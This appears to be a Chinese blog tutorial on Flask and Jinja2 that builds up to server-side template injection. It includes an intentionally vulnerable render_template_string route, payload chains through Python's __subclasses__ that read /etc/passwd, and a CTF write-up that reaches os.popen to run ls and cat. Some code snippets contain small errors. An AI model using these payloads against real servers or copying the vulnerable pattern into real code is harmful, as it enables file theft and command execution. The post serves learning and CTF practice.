• flask入门


    前言

    这篇文章是我在做有关SSTI漏洞的CTF题时发现自己需要弥补这方面的知识写下的,也是自己在这方面不断摸索,读过许多大佬们的博客过后所学的的一些知识,如果其中有言语上的错误,希望大佬可以指正。

    什么是SSTI漏洞

    flask/SSTI漏洞完整的叫法应该是Flask(jinjia2)服务器端模板注入漏洞.SSTI主要为python的一些框架 jinja2 mako django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。由于所见到的题为flask模板注入,所以本文着重对其进行分析。

    基础部分

    Flask简介

    Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

    Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

    什么是模板引擎

    模板文件就是按照一定的规则书写的展示效果的HTML文件模板引擎就是负责按照指定规则进行替换的工具。模板引擎选择jinja2。

    使用flask写一个"Hello,World!"

    你需要在配置过python的环境下进行测试。pycharm安装flask会自动导入flask所需的模块,所以我们只需要命令安装所需要的包就可以了。进行实验的时候通过左上角新建项目时直接可以建立flask项目

    输入下面的代码并运行,如果你没有安装flask模块的话会报错。

    运行以后会显示如下

     运行127.0.0.1:5000就可以的到回显

    route装饰器路由

    from flask import flask 
    @app.route('/')
    def hello_word():
        return 'hello word'
    以这段代码举个例子route就是装饰器,它的作用就是将函数与url绑定起来,告诉flask这个url可以去触发这个函数,这句话(@app.route('/'))就相当于路由,一个路由跟随一个函数。

    from flask import Flask
    @app.route('/test')
    def hello_word():
        return '123'

    这里需要通过127.0.0.1:5000/test来访问,会返回123.

    Jinja2模板的部分语法
    1.变量
    Jinjia2使用{{name}}结构
    表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获
    取。
    inja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤
    器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
     Hello, {{ name|capitalize }}
    2.if语句
      
    {% if user %}
           Hello,{{user}} !
      {% else %}
           Hello,Stranger!
      {% endif %}

    3.for语句
     
     <ul>
           {% for comment in comments %}
               <li>{{comment}}</li>
           {% endfor %}
      </ul>
    
    
    模板渲染

    我们可以使用render_template()方法来渲染模板。我们要做的就是把模板名和关键字的参数传入到模板变量,看个例子:
    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')
     
    render_template函数渲染的是templates中的模板,所以我们在项目的目录下建一个个templates文件夹,那里是存放模板文件(html)的。
    templates和app.py文件是在同一级的。

     

     这个时候页面的输出则会根据user这个字典里name的值来变化

    {{}}在Jinja2中作为变量包裹标识符

     

     模板注入

    SSTI文件读取/命令执行

    在Jinja2模板引擎中,{{}}不仅可以传递变量,还可以执行一些简单的表达式。

    我们使用下面这个代码作为例子

    @app.route('/SSTtest')
    def test():
    code = request.args.get('id')
    html='''
    <h2>%a<h2>
    '''%(code)
    return render_template_string(html)

    这段代码存在漏洞的原因是因为数据和代码的混合。代码中的code是用户可控的,回合html拼接在一起然后进入渲染,如果我们单纯的

    用id传入数值或者字母的话,其返回结果就是我们所输入的。

     但如果我们使用变量包裹标识符来传递变量的话,就可以看到表达式会被执行。这种情况下也会有xss的产生

     

    在flask里也有一些魔术方法和全局变量,通过这些我们可以加以利用来实现文件读取和命令执行。例如下面的例子

    这种魔术方法就很类似于一种映射,通过一个对象来找到另一个对象,这里是我们通过一个字符串对象,找到了一个文件对象

    然后在初始化,读取。

    下面是列举的几个魔术方法,这些是我看一些大佬博客的总结。

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类(Object类是所有类的父类,包括我们所写的类。)
    __base__和__mro__ 都是用来寻找基类的
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用

    接下来的我就不截图了。

    1.获得一个字符串实例
    >>>""
    ''
    2.获得其父类 >>>"".__class__.__mro__
    (<type 'str'>, <type 'basestring'>, <type 'object'>)
    3.获得父类的object类
    >>>"".__class__.__mro__[2] ([]的意思是选择哪一个父类)
    <type 'object'>
    4.使用__subclasses__()方法,获得object类的子类
    >>>"".__class__.__mro__[1].__subclasses__()
    <type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>
    5.
    获得第40个子类的一个实例,即一个file实例(因为第40个是<type 'file'>,file类文件是可读取的)
    >>>"".__class__.__mro__[1].__subclasses__()[40]
    <type 'file'>
    6.对file初始化
    >>> "".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd")
    <open file '/etc/passwd', mode 'r' at 0x10397a8a0>

    7.使用file的read属性读取,但是被提示这是一个方法
    >>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read
    <built-in method read of file object at 0x10397a5d0>
    8.使用read()方法读取
    >>>"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()
    这样就可以读出这个文件的内容了

    这些都是为了做一道CTF题做的功课,我顺便把那道题的wp也写了。

     首先先通过包裹标识判断出存在模板注入,我们需要找到'os'所在的`site._Printer`类,这样我们就可以使用os命令了。它在第72位,所以是'__subclasses__()[71]'

    __subclasses__()[71].__init__.__globals__['os'].popen('').read()来调用副武器的控制台,并显示结果,使用玩这个命令我们就可以

    用控制台输出了。(popen('ls').read()`,ls量)

    找到了一个叫fl4g的文件,那么我们用cat命令读取试试

     就得到了flag

  • 相关阅读:
    华为AR2204多VLAN走不同wan口
    supervisord管理Django项目
    Django3 channels websocket实时读取日志返回前端
    雪球网接口测试
    算法图解: 1.二分查找
    HttpRunner3源码阅读:10.测试执行的处理 runner
    HttpRunner3源码阅读:9. 测试用例中的类定义testcase
    HttpRunner3源码阅读:8. 用例文件生成并格式化make
    HttpRunner3源码阅读:7.响应后处理 response.py
    HttpRunner3源码阅读:6.请求客户端client
  • 原文地址:https://www.cnblogs.com/Eterna1ly/p/12380686.html
Copyright © 2020-2023  润新知